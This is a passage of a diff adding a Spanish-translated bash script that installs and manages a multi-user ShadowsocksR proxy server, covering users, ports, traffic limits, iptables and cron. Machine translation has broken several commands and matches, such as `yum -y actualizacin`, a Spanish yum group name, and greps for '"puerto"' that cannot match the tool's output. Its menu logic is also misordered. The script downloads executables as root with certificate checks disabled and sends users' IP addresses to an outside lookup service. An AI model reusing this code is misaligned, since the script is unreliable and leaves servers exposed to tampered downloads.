velocidad total modificado con exito ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: la configuracion mas reciente puede demorar unos 10 segundos)" + fi +} +Modify_config_connect_verbose_info(){ + sed -i 's/"connect_verbose_info": '"$(echo ${connect_verbose_info})"',/"connect_verbose_info": '"$(echo ${ssr_connect_verbose_info})"',/g' ${config_user_file} +} +Modify_config_transfer(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -t "${ssr_transfer}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} La modificacion de trafico total del usuario fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Trafico total del usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: la configuracion mas reciente puede demorar unos 10 segundos)" + fi +} +Modify_config_forbid(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -f "${ssr_forbid}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} La modificacion del puerto prohibido por el usuario ha fallado ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Los puertos prohibidos por el usuario se modificaron correctamente ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: puede tomar aproximadamente 10 segundos aplicar la ultima configuracion)" + fi +} +Modify_config_enable(){ + sed -i "${ssr_enable_num}"'s/"enable": '"$(echo ${enable})"',/"enable": '"$(echo ${ssr_enable})"',/' ${config_user_mudb_file} +} +Modify_user_api_server_pub_addr(){ + sed -i "s/SERVER_PUB_ADDR = '${server_pub_addr}'/SERVER_PUB_ADDR = '${ssr_server_pub_addr}'/" ${config_user_api_file} +} +Modify_config_all(){ + Modify_config_password + Modify_config_method + Modify_config_protocol + Modify_config_obfs + Modify_config_protocol_param + Modify_config_speed_limit_per_con + Modify_config_speed_limit_per_user + Modify_config_transfer + Modify_config_forbid +} +Check_python(){ + python_ver=`python -h` + if [[ -z ${python_ver} ]]; then + echo -e "${Info} No instalo Python, comience a instalar ..." + if [[ ${release} == "centos" ]]; then + yum install -y python + else + apt-get install -y python + fi + fi +} +Centos_yum(){ + yum update + cat /etc/redhat-release |grep 7\..*|grep -i centos>/dev/null + if [[ $? = 0 ]]; then + yum install -y vim unzip crond net-tools git + else + yum install -y vim unzip crond git + fi +} +Debian_apt(){ + apt-get update + apt-get install -y vim unzip cron git net-tools +} +#Descargar ShadowsocksR +Download_SSR(){ + cd "/usr/local" + # wget -N --no-check-certificate "https://github.com/ToyoDAdoubi/shadowsocksr/archive/manyuser.zip" + #git config --global http.sslVerify false + git clone -b akkariiin/master https://github.com/shadowsocksrr/shadowsocksr.git + [[ ! -e ${ssr_folder} ]] && echo -e "${Error} Fallo la descarga del servidor ShadowsocksR!" && exit 1 + # [[ ! -e "manyuser.zip" ]] && echo -e "${Error} Fallo la descarga del paquete de compresion lateral ShadowsocksR !" && rm -rf manyuser.zip && exit 1 + # unzip "manyuser.zip" + # [[ ! -e "/usr/local/shadowsocksr-manyuser/" ]] && echo -e "${Error} Fallo la descompresin del servidor ShadowsocksR !" && rm -rf manyuser.zip && exit 1 + # mv "/usr/local/shadowsocksr-manyuser/" "/usr/local/shadowsocksr/" + # [[ ! -e "/usr/local/shadowsocksr/" ]] && echo -e "${Error} Fallo el cambio de nombre del servidor ShadowsocksR!" && rm -rf manyuser.zip && rm -rf "/usr/local/shadowsocksr-manyuser/" && exit 1 + # rm -rf manyuser.zip + cd "shadowsocksr" + cp "${ssr_folder}/config.json" "${config_user_file}" + cp "${ssr_folder}/mysql.json" "${ssr_folder}/usermysql.json" + cp "${ssr_folder}/apiconfig.py" "${config_user_api_file}" + [[ ! -e ${config_user_api_file} ]] && echo -e "${Error} Fallo la replicacion apiconfig.py del servidor ShadowsocksR!" && exit 1 + sed -i "s/API_INTERFACE = 'sspanelv2'/API_INTERFACE = 'mudbjson'/" ${config_user_api_file} + server_pub_addr="127.0.0.1" + Modify_user_api_server_pub_addr + #sed -i "s/SERVER_PUB_ADDR = '127.0.0.1'/SERVER_PUB_ADDR = '${ip}'/" ${config_user_api_file} + sed -i 's/ \/\/ only works under multi-user mode//g' "${config_user_file}" + echo -e "${Info} Descarga del servidor ShadowsocksR completa!" +} +Service_SSR(){ + if [[ ${release} = "centos" ]]; then + if ! wget --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/service/ssrmu_centos -O /etc/init.d/ssrmu; then + echo -e "${Error} Fallo la descarga de la secuencia de comandos de administracion de servicios de ShadowsocksR!" && exit 1 + fi + chmod +x /etc/init.d/ssrmu + chkconfig --add ssrmu + chkconfig ssrmu on + else + if ! wget --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/service/ssrmu_debian -O /etc/init.d/ssrmu; then + echo -e "${Error} Fallo la descarga de la secuencia de comandos de administracin de servicio de ShadowsocksR!" && exit 1 + fi + chmod +x /etc/init.d/ssrmu + update-rc.d -f ssrmu defaults + fi + echo -e "${Info} ShadowsocksR Service Management Script Descargar Descargar!" +} +#Instalar el analizador JQ +JQ_install(){ + if [[ ! -e ${jq_file} ]]; then + cd "${ssr_folder}" + if [[ ${bit} = "x86_64" ]]; then + # mv "jq-linux64" "jq" + wget --no-check-certificate "https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64" -O ${jq_file} + else + # mv "jq-linux32" "jq" + wget --no-check-certificate "https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux32" -O ${jq_file} + fi + [[ ! -e ${jq_file} ]] && echo -e "${Error} JQ parser, por favor!" && exit 1 + chmod +x ${jq_file} + echo -e "${Info} La instalacion del analizador JQ se ha completado, continuar ..." + else + echo -e "${Info} JQ parser esta instalado, continuar ..." + fi +} +#Instalacion +Installation_dependency(){ + if [[ ${release} == "centos" ]]; then + Centos_yum + else + Debian_apt + fi + [[ ! -e "/usr/bin/unzip" ]] && echo -e "${Error} Dependiente de la instalacion de descomprimir (paquete comprimido) fallo, en su mayoria problema, por favor verifique!" && exit 1 + Check_python + #echo "nameserver 8.8.8.8" > /etc/resolv.conf + #echo "nameserver 8.8.4.4" >> /etc/resolv.conf + cp -f /usr/share/zoneinfo/America/Mexico_City /etc/localtime + if [[ ${release} == "centos" ]]; then + /etc/init.d/crond restart + else + /etc/init.d/cron restart + fi +} +Install_SSR(){ +clear + check_root + [[ -e ${ssr_folder} ]] && echo -e "${Error} La carpeta ShadowsocksR ha sido creada, por favor verifique (si la instalacion falla, desinstale primero) !" && exit 1 + echo -e "${Info} Comience la configuracion de la cuenta de ShadowsocksR..." +echo -e "$BARRA1" + Set_user_api_server_pub_addr + Set_config_all +echo -e "$BARRA1" + echo -e "${Info} Comience a instalar / configurar las dependencias de ShadowsocksR ..." + Installation_dependency +echo -e "$BARRA1" + echo -e "${Info} Iniciar descarga / Instalar ShadowsocksR File ..." + Download_SSR +echo -e "$BARRA1" + echo -e "${Info} Iniciar descarga / Instalar ShadowsocksR Service Script(init)..." + Service_SSR +echo -e "$BARRA1" + echo -e "${Info} Iniciar descarga / instalar JSNO Parser JQ ..." + JQ_install +echo -e "$BARRA1" + echo -e "${Info} Comience a agregar usuario inicial ..." + Add_port_user "install" +echo -e "$BARRA1" + echo -e "${Info} Empezar a configurar el firewall de iptables ..." + Set_iptables +echo -e "$BARRA1" + echo -e "${Info} Comience a agregar reglas de firewall de iptables ..." + Add_iptables +echo -e "$BARRA1" + echo -e "${Info} Comience a guardar las reglas del servidor de seguridad de iptables ..." + Save_iptables +echo -e "$BARRA1" + echo -e "${Info} Todos los pasos para iniciar el servicio ShadowsocksR ..." + Start_SSR + Get_User_info "${ssr_port}" + View_User_info +read -p "Enter para continuar" enter +${SCPfrm}/ssrrmu.sh +} +Update_SSR(){ + SSR_installation_status + # echo -e "Debido a que el beb roto actualiza el servidor ShadowsocksR, entonces." + cd ${ssr_folder} + git pull + Restart_SSR +${SCPfrm}/ssrrmu.sh +} +Uninstall_SSR(){ + [[ ! -e ${ssr_folder} ]] && echo -e "${Error} ShadowsocksR no esta instalado, por favor, compruebe!" && exit 1 + echo "yes para desinstalar ShadowsocksR[y/N]" && echo +echo -e "$BARRA1" + stty erase '^H' && read -p "(Predeterminado: n):" unyn + [[ -z ${unyn} ]] && unyn="n" + if [[ ${unyn} == [Yy] ]]; then + check_pid + [[ ! -z "${PID}" ]] && kill -9 ${PID} + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + if [[ ! -z ${user_info} ]]; then + for((integer = 1; integer <= ${user_total}; integer++)) + do + port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + Del_iptables + done + fi + if [[ ${release} = "centos" ]]; then + chkconfig --del ssrmu + else + update-rc.d -f ssrmu remove + fi + rm -rf ${ssr_folder} && rm -rf /etc/init.d/ssrmu + echo && echo " Desinstalacion de ShadowsocksR completada!" && echo + else + echo && echo "Desinstalar cancelado ..." && echo + fi +${SCPfrm}/ssrrmu.sh +} +Check_Libsodium_ver(){ + echo -e "${Info} Descargando la ultima version de libsodium" + Libsodiumr_ver=$(wget -qO- "https://github.com/jedisct1/libsodium/tags"|grep "/jedisct1/libsodium/releases/tag/"|head -1|sed -r 's/.*tag\/(.+)\">.*/\1/') + [[ -z ${Libsodiumr_ver} ]] && Libsodiumr_ver=${Libsodiumr_ver_backup} + echo -e "${Info} La ultima version de libsodium es ${Green_font_prefix}${Libsodiumr_ver}${Font_color_suffix} !" +} +Install_Libsodium(){ + if [[ -e ${Libsodiumr_file} ]]; then + echo -e "${Error} libsodium ya instalado, quieres actualizar?[y/N]" + stty erase '^H' && read -p "(Default: n):" yn + [[ -z ${yn} ]] && yn="n" + if [[ ${yn} == [Nn] ]]; then + echo "Cancelado..." && exit 1 + fi + else + echo -e "${Info} libsodium no instalado, instalacion iniciada ..." + fi + Check_Libsodium_ver + if [[ ${release} == "centos" ]]; then + yum -y actualizacin + echo -e "${Info} La instalacion depende de ..." + yum -y groupinstall "Herramientas de desarrollo" + echo -e "${Info} Descargar ..." + wget --no-check-certificate -N "https://github.com/jedisct1/libsodium/releases/download/${Libsodiumr_ver}/libsodium-${Libsodiumr_ver}.tar.gz" + echo -e "${Info} Descomprimir ..." + tar -xzf libsodium-${Libsodiumr_ver}.tar.gz && cd libsodium-${Libsodiumr_ver} + echo -e "${Info} Compilar e instalar ..." + ./configure --disable-maintainer-mode && make -j2 && make install + echo /usr/local/lib > /etc/ld.so.conf.d/usr_local_lib.conf + else + apt-get update + echo -e "${Info} La instalacion depende de ..." + apt-get install -y build-essential + echo -e "${Info} Descargar ..." + wget --no-check-certificate -N "https://github.com/jedisct1/libsodium/releases/download/${Libsodiumr_ver}/libsodium-${Libsodiumr_ver}.tar.gz" + echo -e "${Info} Descomprimir ..." + tar -xzf libsodium-${Libsodiumr_ver}.tar.gz && cd libsodium-${Libsodiumr_ver} + echo -e "${Info} Compilar e instalar ..." + ./configure --disable-maintainer-mode && make -j2 && make install + fi + ldconfig + cd .. && rm -rf libsodium-${Libsodiumr_ver}.tar.gz && rm -rf libsodium-${Libsodiumr_ver} + [[ ! -e ${Libsodiumr_file} ]] && echo -e "${Error} libsodium Instalacion fallida!" && exit 1 + echo && echo -e "${Info} libsodium xito de instalacin!" && echo +${SCPfrm}/ssrrmu.sh +} +#Mostrar informacin de conexin +debian_View_user_connection_info(){ + format_1=$1 + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + [[ -z ${user_info} ]] && echo -e "${Error} No encontro, por favor compruebe!" && exit 1 + IP_total=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp6' |awk '{print $5}' |awk -F ":" '{print $1}' |sort -u |wc -l` + user_list_all="" + for((integer = 1; integer <= ${user_total}; integer++)) + do + user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + user_IP_1=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp6' |grep ":${user_port} " |awk '{print $5}' |awk -F ":" '{print $1}' |sort -u` + if [[ -z ${user_IP_1} ]]; then + user_IP_total="0" + else + user_IP_total=`echo -e "${user_IP_1}"|wc -l` + if [[ ${format_1} == "IP_address" ]]; then + get_IP_address + else + user_IP=`echo -e "\n${user_IP_1}"` + fi + fi + user_list_all=${user_list_all}"Puerto: ${Green_font_prefix}"${user_port}"${Font_color_suffix}, Usuarios en linea: ${Green_font_prefix}"${user_IP_total}"${Font_color_suffix}, IP vinculada en linea: ${Green_font_prefix}${user_IP}${Font_color_suffix}\n" + user_IP="" + done + echo -e "Total de usuarios: ${Green_background_prefix} "${user_total}" ${Font_color_suffix} Numero total de usuarios en linea: ${Green_background_prefix} "${IP_total}" ${Font_color_suffix} " + echo -e "${user_list_all}" +} +centos_View_user_connection_info(){ + format_1=$1 + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + [[ -z ${user_info} ]] && echo -e "${Error} No encontrado, por favor revise!" && exit 1 + IP_total=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp' | grep '::ffff:' |awk '{print $5}' |awk -F ":" '{print $4}' |sort -u |wc -l` + user_list_all="" + for((integer = 1; integer <= ${user_total}; integer++)) + do + user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + user_IP_1=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp' |grep ":${user_port} "|grep '::ffff:' |awk '{print $5}' |awk -F ":" '{print $4}' |sort -u` + if [[ -z ${user_IP_1} ]]; then + user_IP_total="0" + else + user_IP_total=`echo -e "${user_IP_1}"|wc -l` + if [[ ${format_1} == "IP_address" ]]; then + get_IP_address + else + user_IP=`echo -e "\n${user_IP_1}"` + fi + fi + user_list_all=${user_list_all}"Puerto: ${Green_font_prefix}"${user_port}"${Font_color_suffix}, El numero total de IPs vinculadas: ${Green_font_prefix}"${user_IP_total}"${Font_color_suffix}, IP vinculada en linea: ${Green_font_prefix}${user_IP}${Font_color_suffix}\n" + user_IP="" + done + echo -e "Total de usuarios: ${Green_background_prefix} "${user_total}" ${Font_color_suffix} Numero total de usuarios en linea: ${Green_background_prefix} "${IP_total}" ${Font_color_suffix} " + echo -e "${user_list_all}" +} +View_user_connection_info(){ +clear + SSR_installation_status + echo && echo -e "Seleccione el formato para mostrar : +${BARRA1} + ${Green_font_prefix}[1] >${Font_color_suffix} ${blan_font_prefix}Mostrar IP${Font_color_suffix} +${BARRA} + ${Green_font_prefix}[2] >${Font_color_suffix} ${blan_font_prefix}Mostrar IP + Resolver el nombre DNS${Font_color_suffix} +${BARRA1} + ${Green_font_prefix}[3] >${Font_color_suffix} ${blan_font_prefix}SALIR (al menu shadowsocksR manager)" +echo -e "$BARRA1" + stty erase '^H' && read -p "(Predeterminado: 1):" ssr_connection_info +echo -e "$BARRA1" + [[ -z "${ssr_connection_info}" ]] && ssr_connection_info="1" + if [[ ${ssr_connection_info} == "1" ]]; then + View_user_connection_info_1 "" + elif [[ ${ssr_connection_info} == "2" ]]; then + echo -e "${Tip} ${blue_font_prefix}Detectar IP (ipip.net)puede llevar mas tiempo si hay muchas IPs${Font_color_suffix}" + elif [[ ${ssr_connection_info} == "3" ]]; then + ${SCPfrm}/ssrrmu.sh +echo -e "$BARRA" + View_user_connection_info_1 "IP_address" + else + echo -e "${Error} Ingrese el numero correcto(1-2)" && exit 1 + fi +} +View_user_connection_info_1(){ + format=$1 + if [[ ${release} = "centos" ]]; then + cat /etc/redhat-release |grep 7\..*|grep -i centos>/dev/null + if [[ $? = 0 ]]; then + debian_View_user_connection_info "$format" + else + centos_View_user_connection_info "$format" + fi + else + debian_View_user_connection_info "$format" + fi +} +get_IP_address(){ + #echo "user_IP_1=${user_IP_1}" + if [[ ! -z ${user_IP_1} ]]; then + #echo "user_IP_total=${user_IP_total}" + for((integer_1 = ${user_IP_total}; integer_1 >= 1; integer_1--)) + do + IP=`echo "${user_IP_1}" |sed -n "$integer_1"p` + #echo "IP=${IP}" + IP_address=`wget -qO- -t1 -T2 http://freeapi.ipip.net/${IP}|sed 's/\"//g;s/,//g;s/\[//g;s/\]//g'` + #echo "IP_address=${IP_address}" + user_IP="${user_IP}\n${IP}(${IP_address})" + #echo "user_IP=${user_IP}" + sleep 1s + done + fi +} +#Modificar la configuracin del usuario +Modify_port(){ +echo -e "$BARRA1" + List_port_user + while true + do + echo -e "Por favor ingrese el usuario (Puerto) que tiene que ser modificado" +echo -e "$BARRA1" + stty erase '^H' && read -p "(Predeterminado: cancelar):" ssr_port + [[ -z "${ssr_port}" ]] && echo -e "Cancelado ..." && exit 1 + Modify_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${ssr_port}"',') + if [[ ! -z ${Modify_user} ]]; then + break + else + echo -e "${Error} Puerto Introduzca el Puerto correcto!" + fi + done +} +Modify_Config(){ +clear + SSR_installation_status + echo && echo -e "${ama_font_prefix}que quieres hacer?${Font_color_suffix} +${BARRA1} + ${Green_font_prefix}[1] >${Font_color_suffix} ${blan_font_prefix}Agregar y configurar usuario${Font_color_suffix} +${BARRA} + ${Green_font_prefix}[2] >${Font_color_suffix} ${blan_font_prefix}Eliminar la configuracin del usuario${Font_color_suffix} +${BARRA} +${asul_font_prefix}============= ${ama_font_prefix}Modificar la configuracion del usuario ${asul_font_prefix}============== +${BARRA1} + ${Green_font_prefix}[3] >${Font_color_suffix} ${blan_font_prefix}Modificar contrasena de usuario${Font_color_suffix} +${BARRA} + ${Green_font_prefix}[4] >${Font_color_suffix} ${blan_font_prefix}Modificar el metodo de cifrado${Font_color_suffix} +${BARRA} + ${Green_font_prefix}[5] >${Font_color_suffix} ${blan_font_prefix}Modificar el protocolo${Font_color_suffix} +${BARRA} + ${Green_font_prefix}[6] >${Font_color_suffix} ${blan_font_prefix}Modificar ofuscacion${Font_color_suffix} +${BARRA} + ${Green_font_prefix}[7] >${Font_color_suffix} ${blan_font_prefix}Modificar el limite del dispositivo${Font_color_suffix} +${BARRA} + ${Green_font_prefix}[8] >${Font_color_suffix} ${blan_font_prefix}Modificar el limite de velocidad de un solo hilo${Font_color_suffix} +${BARRA} + ${Green_font_prefix}[9] >${Font_color_suffix} ${blan_font_prefix}Modificar limite de velocidad total del usuario${Font_color_suffix} +${BARRA} + ${Green_font_prefix}[10] >${Font_color_suffix} ${blan_font_prefix}Modificar el trafico total del usuario${Font_color_suffix} +${BARRA} + ${Green_font_prefix}[11] >${Font_color_suffix} ${blan_font_prefix}Modificar los puertos prohibidos del usuario${Font_color_suffix} +${BARRA} + ${Green_font_prefix}[12] >${Font_color_suffix} ${blan_font_prefix}Modificar la configuracion completa${Font_color_suffix} +${BARRA} +${asul_font_prefix}================ ${ama_font_prefix}Otras Configuraciones ${asul_font_prefix}================= +${BARRA} + ${Green_font_prefix}[13] >${Font_color_suffix} ${blan_font_prefix}Modificar la IP que se muestra en el perfil del usuario +${BARRA} + ${Green_font_prefix}[14] >${Font_color_suffix} ${blan_font_prefix}SALIR (al menu shadowsocksR manager) +${BARRA1} + ${Tip} El nombre de usuario y el puerto del usuario no se pueden modificar. Si necesita modificarlos, use el script para modificar manualmente la funcion !" +echo -e "$BARRA1" + stty erase '^H' && read -p "(Predeterminado: cancelar):" ssr_modify + [[ -z "${ssr_modify}" ]] && echo "Cancelado ..." && exit 1 + if [[ ${ssr_modify} == "1" ]]; then + Add_port_user + elif [[ ${ssr_modify} == "2" ]]; then + Del_port_user + elif [[ ${ssr_modify} == "3" ]]; then + Modify_port + Set_config_password + Modify_config_password + elif [[ ${ssr_modify} == "4" ]]; then + Modify_port + Set_config_method + Modify_config_method + elif [[ ${ssr_modify} == "5" ]]; then + Modify_port + Set_config_protocol + Modify_config_protocol + elif [[ ${ssr_modify} == "6" ]]; then + Modify_port + Set_config_obfs + Modify_config_obfs + elif [[ ${ssr_modify} == "7" ]]; then + Modify_port + Set_config_protocol_param + Modify_config_protocol_param + elif [[ ${ssr_modify} == "8" ]]; then + Modify_port + Set_config_speed_limit_per_con + Modify_config_speed_limit_per_con + elif [[ ${ssr_modify} == "9" ]]; then + Modify_port + Set_config_speed_limit_per_user + Modify_config_speed_limit_per_user + elif [[ ${ssr_modify} == "10" ]]; then + Modify_port + Set_config_transfer + Modify_config_transfer + elif [[ ${ssr_modify} == "11" ]]; then + Modify_port + Set_config_forbid + Modify_config_forbid + elif [[ ${ssr_modify} == "12" ]]; then + Modify_port + Set_config_all "Modify" + Modify_config_all + elif [[ ${ssr_modify} == "13" ]]; then + Set_user_api_server_pub_addr "Modify" + Modify_user_api_server_pub_addr + elif [[ ${ssr_modify} == "14" ]]; then + ${SCPfrm}/ssrrmu.sh + else + echo -e "${Error} Ingrese el numero correcto(1-13)" && exit 1 + fi +${SCPfrm}/ssrrmu.sh +} +List_port_user(){ + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + [[ -z ${user_info} ]] && echo -e "${Error} No encontre al usuario, por favor verifica otra vez !" && exit 1 + user_list_all="" + for((integer = 1; integer <= ${user_total}; integer++)) + do + user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + user_username=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $2}'|sed 's/\[//g;s/\]//g') + Get_User_transfer "${user_port}" + user_list_all=${user_list_all}"Nombre de usuario: ${Green_font_prefix} "${user_username}"${Font_color_suffix} Port: ${Green_font_prefix}"${user_port}"${Font_color_suffix} Uso del trafico (Usado + restante = total): ${Green_font_prefix}${transfer_enable_Used_2}${Font_color_suffix} + ${Green_font_prefix}${transfer_enable_Used}${Font_color_suffix} = ${Green_font_prefix}${transfer_enable}${Font_color_suffix}\n\n" + done + echo && echo -e "Numero total de usuarios ${Green_background_prefix} "${user_total}" ${Font_color_suffix}" +echo -e "$BARRA" + echo -e ${user_list_all} +} +Add_port_user(){ +clear + lalal=$1 + if [[ "$lalal" == "install" ]]; then + match_add=$(python mujson_mgr.py -a -u "${ssr_user}" -p "${ssr_port}" -k "${ssr_password}" -m "${ssr_method}" -O "${ssr_protocol}" -G "${ssr_protocol_param}" -o "${ssr_obfs}" -s "${ssr_speed_limit_per_con}" -S "${ssr_speed_limit_per_user}" -t "${ssr_transfer}" -f "${ssr_forbid}"|grep -w "add user info") + else + while true + do + Set_config_all + match_port=$(python mujson_mgr.py -l|grep -w "port ${ssr_port}$") + [[ ! -z "${match_port}" ]] && echo -e "${Error} El puerto [${ssr_port}] Ya existe, no lo agregue de nuevo !" && exit 1 + match_username=$(python mujson_mgr.py -l|grep -w "Usuario \[${ssr_user}]") + [[ ! -z "${match_username}" ]] && echo -e "${Error} Nombre de usuario [${ssr_user}] Ya existe, no lo agregues de nuevo !" && exit 1 + match_add=$(python mujson_mgr.py -a -u "${ssr_user}" -p "${ssr_port}" -k "${ssr_password}" -m "${ssr_method}" -O "${ssr_protocol}" -G "${ssr_protocol_param}" -o "${ssr_obfs}" -s "${ssr_speed_limit_per_con}" -S "${ssr_speed_limit_per_user}" -t "${ssr_transfer}" -f "${ssr_forbid}"|grep -w "add user info") + if [[ -z "${match_add}" ]]; then + echo -e "${Error} Usuario no se pudo agregar ${Green_font_prefix}[Nombre de usuario: ${ssr_user} , port: ${ssr_port}]${Font_color_suffix} " + break + else + Add_iptables + Save_iptables + echo -e "${Info} Usuario agregado exitosamente ${Green_font_prefix}[Nombre de usuario: ${ssr_user} , Puerto: ${ssr_port}]${Font_color_suffix} " + echo + stty erase '^H' && read -p "Continuar para agregar la configuracion del usuario?[Y/n]:" addyn + [[ -z ${addyn} ]] && addyn="y" + if [[ ${addyn} == [Nn] ]]; then + Get_User_info "${ssr_port}" + View_User_info + break + else + echo -e "${Info} Continuar agregando configuracin de usuario ..." + fi + fi + done + fi +} +Del_port_user(){ +clear +echo -e "$BARRA1" + + List_port_user + while true + do + echo -e "Por favor ingrese el usuario que desea ingresar a Puerto" +echo -e "$BARRA" + stty erase '^H' && read -p "(Predeterminado:Cancelar):" del_user_port + [[ -z "${del_user_port}" ]] && echo -e "Cancelado ..." && exit 1 + del_user=$(cat "${config_user_mudb_file}"|grep '"puerto": '"${del_user_port}"',') + if [[ ! -z ${del_user} ]]; then + port=${del_user_port} + match_del=$(python mujson_mgr.py -d -p "${del_user_port}"|grep -w "eliminar usuario ") + if [[ -z "${match_del}" ]]; then + echo -e "${Error} La eliminacion del usuario fallo ${Green_font_prefix}[Puerto: ${del_user_port}]${Font_color_suffix} " + else + Del_iptables + Save_iptables + echo -e "${Info} Usuario eliminado exitosamente ${Green_font_prefix}[Puerto: ${del_user_port}]${Font_color_suffix} " + fi + break + else + echo -e "${Error} Puerto Introduzca el Puerto correcto!" + fi + done +} +Manually_Modify_Config(){ +clear +echo -e "$BARRA1" + SSR_installation_status + nano ${config_user_mudb_file} + echo "Si reiniciar ShadowsocksR ahora?[Y/n]" && echo +echo -e "$BARRA" + stty erase '^H' && read -p "(Predeterminado: y):" yn + [[ -z ${yn} ]] && yn="y" + if [[ ${yn} == [Yy] ]]; then + Restart_SSR + fi +${SCPfrm}/ssrrmu.sh +} +Clear_transfer(){ +clear +echo -e "$BARRA1" + SSR_installation_status + echo && echo -e "que quieres hacer? +${BARRA1} + ${Green_font_prefix}[1] >${Font_color_suffix} ${blan_font_prefix}Borrar el trafico de un solo usuario +${BARRA} + ${Green_font_prefix}[2] >${Font_color_suffix} ${blan_font_prefix}Borrar todo el trafico de usuarios (irreparable) +${BARRA} + ${Green_font_prefix}[3] >${Font_color_suffix} ${blan_font_prefix}Todo el trafico de usuarios se borra en el inicio +${BARRA} + ${Green_font_prefix}[4] >${Font_color_suffix} ${blan_font_prefix}Deja de cronometrar todo el trafico de usuarios +${BARRA} + ${Green_font_prefix}[5] >${Font_color_suffix} ${blan_font_prefix}Modificar la sincronizacion de todo el trafico de usuarios +${BARRA} + ${Green_font_prefix}[6] >${Font_color_suffix} ${blan_font_prefix}SALIR (al menu shadwsocksR manager)" +echo -e "$BARRA1" + stty erase '^H' && read -p "(Predeterminado:Cancelar):" ssr_modify + [[ -z "${ssr_modify}" ]] && echo "Cancelado ..." && exit 1 + if [[ ${ssr_modify} == "1" ]]; then + Clear_transfer_one + elif [[ ${ssr_modify} == "2" ]]; then +echo -e "$BARRA" + echo "Esta seguro de que desea borrar todo el trafico de usuario[y/N]" && echo +echo -e "$BARRA" + stty erase '^H' && read -p "(Predeterminado: n):" yn + [[ -z ${yn} ]] && yn="n" + if [[ ${yn} == [Yy] ]]; then + Clear_transfer_all + else + echo "Cancelar ..." + fi + elif [[ ${ssr_modify} == "3" ]]; then + check_crontab + Set_crontab + Clear_transfer_all_cron_start + elif [[ ${ssr_modify} == "4" ]]; then + check_crontab + Clear_transfer_all_cron_stop + elif [[ ${ssr_modify} == "5" ]]; then + check_crontab + Clear_transfer_all_cron_modify + elif [[ ${ssr_modify} == "6" ]]; then + ${SCPfrm}/ssrrmu.sh + else + echo -e "${Error} Por favor numero de (1-5)" && exit 1 + fi +${SCPfrm}/ssrrmu.sh +} +Clear_transfer_one(){ +clear +echo -e "$BARRA1" + List_port_user + while true + do + echo -e "Por favor ingrese el usuario que desea de Puerto" +echo -e "$BARRA" + stty erase '^H' && read -p "(Predeterminado: Cancelar):" Clear_transfer_user_port + [[ -z "${Clear_transfer_user_port}" ]] && echo -e "Cancelado ..." && exit 1 + Clear_transfer_user=$(cat "${config_user_mudb_file}"|grep '"Puerto": '"${Clear_transfer_user_port}"',') + if [[ ! -z ${Clear_transfer_user} ]]; then + match_clear=$(python mujson_mgr.py -c -p "${Clear_transfer_user_port}"|grep -w "clear user ") + if [[ -z "${match_clear}" ]]; then + echo -e "${Error} El usuario ha utilizado el trafico borrado fallido ${Green_font_prefix}[Port: ${Clear_transfer_user_port}]${Font_color_suffix} " + else + echo -e "${Info} El usuario ha utilizado el trafico para borrar con exito ${Green_font_prefix}[Port: ${Clear_transfer_user_port}]${Font_color_suffix} " + fi + break + else + echo -e "${Error} Puerto Introduzca el Puerto correcto!" + fi + done +} +Clear_transfer_all(){ +clear + cd "${ssr_folder}" + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + [[ -z ${user_info} ]] && echo -e "${Error} No encontro, por favor compruebe!" && exit 1 + for((integer = 1; integer <= ${user_total}; integer++)) + do + user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + match_clear=$(python mujson_mgr.py -c -p "${user_port}"|grep -w "clear user ") + if [[ -z "${match_clear}" ]]; then + echo -e "${Error} El usuario ha utilizado el trafico borrado fallido ${Green_font_prefix}[Port: ${user_port}]${Font_color_suffix} " + else + echo -e "${Info} El usuario ha utilizado el trafico para borrar con exito ${Green_font_prefix}[Port: ${user_port}]${Font_color_suffix} " + fi + done + echo -e "${Info} Se borra todo el trafico de usuarios!" +} +Clear_transfer_all_cron_start(){ + crontab -l > "$file/crontab.bak" + sed -i "/ssrmu.sh/d" "$file/crontab.bak" + echo -e "\n${Crontab_time} /bin/bash $file/ssrmu.sh clearall" >> "$file/crontab.bak" + crontab "$file/crontab.bak" + rm -r "$file/crontab.bak" + cron_config=$(crontab -l | grep "ssrmu.sh") + if [[ -z ${cron_config} ]]; then + echo -e "${Error} Temporizacion de todo el trafico de usuarios borrado. !" && exit 1 + else + echo -e "${Info} Programacion de todos los tiempos de inicio claro exitosos!" + fi +} +Clear_transfer_all_cron_stop(){ + crontab -l > "$file/crontab.bak" + sed -i "/ssrmu.sh/d" "$file/crontab.bak" + crontab "$file/crontab.bak" + rm -r "$file/crontab.bak" + cron_config=$(crontab -l | grep "ssrmu.sh") + if [[ ! -z ${cron_config} ]]; then + echo -e "${Error} Temporizado Todo el trafico de usuarios se ha borrado 